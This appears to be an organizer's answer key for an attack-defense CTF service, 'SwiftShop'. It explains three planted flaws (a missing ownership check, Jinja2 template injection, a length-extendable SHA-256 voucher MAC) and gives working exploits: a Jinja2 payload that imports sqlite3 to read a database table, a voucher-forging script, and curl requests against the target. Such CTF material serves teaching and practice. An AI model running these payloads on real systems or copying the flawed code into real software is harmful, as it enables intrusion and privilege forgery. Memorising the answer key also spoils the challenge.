> **CONFIDENTIAL — ORGANIZER & AUTHOR REFERENCE ONLY**

| Flagstore | Difficulty | Module / Feature | Vulnerability Type |
|---|---|---|---|
| **Flag 0** | ⭐ Easy | Dispatch Logistics Tracking | Broken Object-Level Authorization (BOLA) / Missing Ownership Check |
| **Flag 1** | ⭐⭐ Medium | Supplier Contracts & Invoices | Server-Side Template Injection (Jinja2 SSTI) & Unrestricted Contract Queries |
| **Flag 2** | ⭐⭐⭐ Hard | Executive Asset Vault | Hash Length Extension on Merkle–Damgård MAC (`SHA256(Secret |

## Flag-0

In `service/app/main.py`, order details can be accessed via two endpoints:

1. `GET /api/orders/{order_id}` enforces strict ownership:

```
if order.user_id != current_user.id:
    raise HTTPException(status_code=403, detail="Unauthorized access to
order")
```

2. **`GET /api/orders/{order_id}/dispatch` lacks any user ownership check:**

```
@app.get("/api/orders/{order_id}/dispatch")
def get_order_dispatch_summary(order_id: int, db: Session =
Depends(get_db), current_user: User = Depends(get_current_user)):
    order = db.query(Order).filter(Order.id == order_id).first()
    if not order:
        raise HTTPException(status_code=404, detail="Dispatch order not
found")
    return {
        "order_id": order.id,
        "recipient_name": order.recipient_name,
        "delivery_address": order.delivery_address,
        "delivery_instructions": order.delivery_instructions,
        "dispatch_status": order.status,
        "timestamp": order.created_at.isoformat()
    }
```

Because the engine distributes `order_id` in public round info, any authenticated user can query any order's dispatch record.

## Flag-1

In `service/app/main.py`:

1. `GET /api/contracts/{reference}` returns supplier contracts by reference identifier without checking user authorization.
2. In `POST /api/orders/{order_id}/invoice/preview`, user input is concatenated directly into a template string evaluated by Jinja2:

```
template_code = f"""
<div class="receipt-header">
    <h3>SwiftShop Commercial Invoice #{order_num}</h3>
    <p>Customer: {current_user.username} | Total: ${total_val:.2f}</p>
</div>
<div class="receipt-memo">
    {req.custom_memo}
</div>
"""
rendered = Template(template_code).render(...)
```

Evaluating untrusted strings in Jinja2 allows Server-Side Template Injection (SSTI).

## Flag-2

In `service/app/voucher.py`:

```
def generate_welcome_voucher(username: str) -> str:
    payload = f"user={username}&credit=10&tier=standard".encode()
    signature = hashlib.sha256(VOUCHER_SECRET + payload).hexdigest()
    b64_payload = base64.b64encode(payload).decode()
    return f"{b64_payload}.{signature}"
```

- **The Cryptographic Flaw:** The voucher mechanism uses a prefix MAC: `SHA256(SECRET || payload)`.
- SHA-256 uses the Merkle–Damgård construction, making it vulnerable to **Length Extension**. Given the hash of an unknown secret prepended to known data, an external caller can compute the valid hash of `(SECRET || data || padding || extension)` without knowing `SECRET`.
- When verifying, `voucher.py` uses Python's query parser:

```
parsed = parse_qs(payload_bytes.decode("latin-1", errors="ignore"))
tier = parsed.get("tier", ["standard"])[-1]
```

`[-1]` picks the **last** parameter value. Appending `&tier=executive&credit=5000` overrides `tier=standard`.

How to exploit flag 0
Open swiftshop and sign in as mradu2 and dispatch tracking then enter a target order reference click track the delivery instruction contains the flag (i mean checker will insert a flag there)

How to exploit flag 1

on the ui go to my orders and scroll to invoice memo customizer set target ordere reference to 1. in the custom closing memo you can enter a jinja2 expression for eg. if you enter {{ 7 * 7 }} you will get output as 49.

so to inspect the cotnracts table from the database

```
{{
self.__init__.__globals__.__builtins__.__import__('sqlite3').connect('/data/
swiftshop.db').execute('SELECT confidential_memo FROM supplier_contracts
LIMIT 1').fetchone()[0] }}
```

you can see the flag

HOw to exploit 2
Open the initial voucher and compute the length extension using python's hashlilb or any other way you know

```
import hlextend, base64

original_payload = b"user=mradu2&credit=10&tier=standard"
original_sig = "<original_signature>"
append_data = b"&tier=executive&credit=5000"

sha = hlextend.new('sha256')
extended_payload, extended_sig = sha.extend(append_data, original_payload,
32, original_sig)
forged_token = f"{base64.b64encode(extended_payload).decode()}.
{extended_sig}"
print("Forged Token:", forged_token)
```

Now submit the forged token to POST /api/vouchers/redeem

```
curl -s -X POST "http://<target-ip>:8003/api/vouchers/redeem" \
 -H "Authorization: Bearer $TOKEN" \
 -H "Content-Type: application/json" \
 -d "{\"voucher_token\":\"$FORGED_TOKEN\"}" | jq .
```

now you get the executive status now you can:

```
curl -s -X GET "http://<target-ip>:8003/api/vault/VLT-4C92E1" \
 -H "Authorization: Bearer $TOKEN" | jq .
```